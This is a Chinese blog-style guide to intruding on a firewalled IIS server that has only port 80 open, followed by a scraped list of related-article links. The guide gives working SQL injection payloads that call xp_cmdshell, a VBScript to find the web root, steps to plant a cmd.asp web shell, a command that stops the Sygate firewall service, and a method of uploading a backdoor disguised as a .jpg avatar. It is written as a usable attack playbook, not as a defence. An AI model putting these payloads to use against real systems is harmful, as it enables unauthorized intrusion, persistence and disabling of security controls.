本文就是想对装上了防火墙的主机,进行入侵攻击的大概思路小结一下。

首先当然是用扫描器对这台服务器(以下简称主机A)进行常规的扫描,得到初步的信息。再用nmap -sS IP -P0 -p
139 ,透过防火墙查看是否开有139端口。从上面得到的信息我们可以简单的判断到:主机A的系统是什么,装有防火墙的
话,一般是只允许80端口开放的。如果能够泄漏asp源文件,当然是最好不过的了,但是一般难得遇到。如果主机A有
show files之类的CGI漏洞,我们就可以试着看能不能从conn.inc等可能存放密码的文件得到有用的信息。

然后就要进入重点了,寻找突破口。由于主机A装有防火墙,所以就算其有其他的溢出漏洞都将会导致我们的不到shell
(U漏洞就不讲了)。在这种情况下,一般容易找到突破口的地方就是主机A上的新闻发布系统、论坛、聊天室。在这三个
地方里最容易出毛病的地方,不少人都认为是论坛,但是我在网上看到的大部分相关文章中发现漏洞的地方都是新闻发布
系统。

好了,让我们先来试试看在新闻发布系统的*.asp后面加上单引号',再提交。返回:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
/mingce/student1.asp, 第 26 行
或者是页面正常,但不能够显示新闻列表,这样看来就有一半的机会了。再让我们将单引号改为分号;,提交后如果能够
正常返回页面,说明这个asp没有过滤分号。只要满足这两个条件,我们就可以有戏看了。为了跟进一步的确定主机A到底
是否有sql注入毛病,我们可以使用下面两种方法简单测试一下:xp_cmdshell 'iisreset /reboot'或是xp_cmdshell 'ping 你.的.I.P',如果第一个命令能执行成功那么在半分钟之内远程系统会重启一次的,第二个命令你自
已的机子的防火墙通常会提示来至x.x.x.x的主机向你发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能
也不行。

现在我们将要想个办法获得shell了。利用xp_cmdshell我们可以直接添加系统账户,如果主机A没有防火墙的话,再用IPC
种植者之类的工具就可以得到shell了,但是主机A是装有防火墙的,所以我们首先考虑得到web shell ,就算权限低一点
都没有关系。

思路:
1)找到web目录的路径
2)用echo(也可利用sql表单)写入一个简单的cmd.asp,用来找到防火墙的具体名字等操作。
3)通过xp_cmdshell来关闭防火墙服务

要找到web目录的路径,在我看来有三种方法:一是,猜!什么c:\Inetpub\wwwroot c:\wwwroot c:\www 之类的。二
是,主机A上可能有其他ASP文件在提交非正常变量后会暴露其绝对路径,还可以试试1'or'1那个著名漏洞 。三是czy82的
方法(以下是转贴的):

********************************************************************
使用adsutil.vbs程序我是这样执行的
a';exec master..xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt';--
是不是很长啦:)通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt
中。
对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到
别的地方我们就没办法了(不可能自已用echo 命令写一个吧)。

第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧:)

.....xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs';--
.....xp_cmdshell 'echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c:\read.vbs';--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa&"\dd.asp",2,true)
fil1.writeline ""
---------------cut here--------------------------------------

第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
执行http://x.x.x.x/dd.asp
返回:d:\xxx

看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)
********************************************************************

这样就可以得到web目录的路径,然后用echo 写个cmd.asp到其目录下,这样我们就可以得到一个web shell了。
有了这个shell,我们可以使用net start查看开有哪些服务,或是查看主机A的开始菜单,得到主机A所使用的防火
墙名字,在通过xp_cmdshell将其关闭。比如a';exec master..xp_cmdshell 'net stop smcservice';--
(smcservice是sygate防火墙的服务名)。

上面讲的大部分都出自于czy82发表的《只开80端口主机的入侵思路(实战,原创)》一文。而我自己也想了一点。当我们得
到web shell后,我们完全可以上传系统进程插入式SHELL(比如InjShell.exe),然后再用xp_cmdshell执行这个后
门,就可以透过防火墙来了。至于怎样上传文件,一般去论坛部分找找回有不小的收获,比如将要上传的文件改为.jpg文
件名,用于论坛头像的上传等方法。

上面讲了很多,你可能没有看出入侵的重点,我这里提出来:
1.找到存在sql注入毛病的asp文件,主要是看他是否过滤了引号和分号。
2.找到网站web的绝对路径,除文中提到了三种方法外,你还可以试着在1433里面将sa该密码,再回头调用asp文件,
一般会出现错误并暴露绝对路径。
3.得到web shell后,最好是要能够找到一种上传文件到主机上去的方法,从而更快的得到有权限的shell。

另外,在讲讲论坛和聊天室部分,可以先试着用google搜索主机上使用的论坛,有的论坛(或聊天室)将论坛管理员的密
码明文保存在一文件中,这样就可以直接用浏览器访问这个文件了。或者试试将show.asp?id=7之类的asp文件,改动ID后
面的数7并提交,看能不能得到有用的信息。实在不行,还可以试试用跨站脚本攻击。如果是雷奥、动网之类的有名的论
坛,这可以尝试着找找有没有新的漏洞报告之类的。

总之,一个网站要做的是一面墙,入侵者要做的就是在这堵墙上找缝隙钻进去。相比较而言,那个容易就不用我讲了。找
不找得到,就是看我们的技术水平问题了。

ASP漏洞+SQL注入的入侵方法的更多相关文章

  1. 解决 SQL 注入的另类方法

    本文是翻译,版权归原作者所有 原文地址(original source):https://bitcoinrevolt.wordpress.com/2016/03/08/solving-the-prob ...

  2. MySQL 及 SQL 注入与防范方法

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 我们永远不要信任用户的输入,我们必须认定用户输入的数据都是不安全的, ...

  3. Web常见安全漏洞-SQL注入

    SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞. 可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作, 甚至有可 ...

  4. ASP防止SQL注入

    '防止SQL注入'http://0.0.0.0/bzhs/login.asp?logType=edit';WAITFOR DELAY '0:0:5' --logType = Replace(Repla ...

  5. 了解web漏洞-sql注入

    1:为什么要学web漏洞? 作为一个运维人员,日常工作就是保障服务器和网站的业务正常运行,平时也需要对服务器的安全工作加固,说到防护攻击问题,那么久必须去了解攻击者是怎么对服务器发动的一个流程,这样才 ...

  6. 基础Web漏洞-SQL注入入门(手工注入篇)

    一.什么是SQL注入  SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...

  7. 常见Web安全漏洞--------sql注入

    SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库执行一些恶意的操作.在mybatis 中比较容易出现:${} 会发生sql 注入问题 #{}: 解析为一个 JDBC 预编译语句(p ...

  8. 代码审计-thinkphp3.2.3框架漏洞sql注入

    开始复现审计一下tp3和tp5的框架漏洞,当个练习吧. 涉及注入的方法为where() table() delete()等. 环境 tp3.2.3 : 0x01 注入成因 测试代码: public f ...

  9. sql注入数据库修复方法

    1.第一种情况是 需要将指定的 注入字符串全部替换掉(仅替换注入的字符串为空) declare @delStr nvarchar(500) set @delStr='<script src=ht ...

随机推荐

  1. python爬虫实战1

    转载于:http://blog.csdn.net/dongnanyanhai/article/details/5552431 首先推荐一个网站:中医世家,这个网站上有很多关于中医的资料,光是提供的中医 ...

  2. 浙江大学PAT上机题解析之2-11. 两个有序链表序列的合并

    已知两个非降序链表序列S1与S2,设计函数构造出S1与S2的并集新非降序链表S3. 输入格式说明: 输入分2行,分别在每行给出由若干个正整数构成的非降序序列,用-1表示序列的结尾(-1不属于这个序列) ...

  3. 基于visual Studio2013解决C语言竞赛题之前言

    前言:关于VS2013 刚装完VS2013,新的IDE给人全新的编程体验,界面比以前更急简洁漂亮,不多说了,先上图吧 第一次启动VS2013

  4. wiki oi 3116 高精度练习之加法

    题目描述 Description 给出两个正整数A和B,计算A+B的值.保证A和B的位数不超过500位. 输入描述 Input Description 读入两个用空格隔开的正整数 输出描述 Outpu ...

  5. 奔小康赚大钱(km)

    奔小康赚大钱 Time Limit: 1000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Sub ...

  6. aspx.cs上传文件

    aspx.cs文件 using System; using System.Collections.Generic; using System.Linq; using System.Web; using ...

  7. [置顶] Linux下文件和目录权限说明

    在Linux下使用ls -l或者ll命令可以查看文件和文件夹的权限.结果显示类似于: drwxrwxrwx,这里分为四组,分别为文件类型,文件所有者的权限(读写执行),文件所有者所在组用户的权限(读写 ...

  8. 树莓派安装mysql

    首先我想启用root用户,所以我先启用root用户: sudo passwd root 这里会提示输入两次密码,然后: sudo passwd --unlock root 这样就可以启动root登录, ...

  9. windows环境下Mongodb分片配置

    使用MongoDB的GridFS来存储文件,以前一直使用单个服务,分布式环境也一直没有配置成功,今天参考了几位大神的文章终于配置成功,再也不用担心文件存储的性能和安全啦.以下是自己部署的过程和示例,记 ...

  10. Python 2.7 学习笔记 列表的使用

    同其它编程语言一样,python也提供了丰富的数据结构,以方便数据的处理.本文介绍两种最基本的数据集合,列表和元组的使用. 一.列表使用介绍 可以理解为一个有序的序列.其使用方式举例如下: list= ...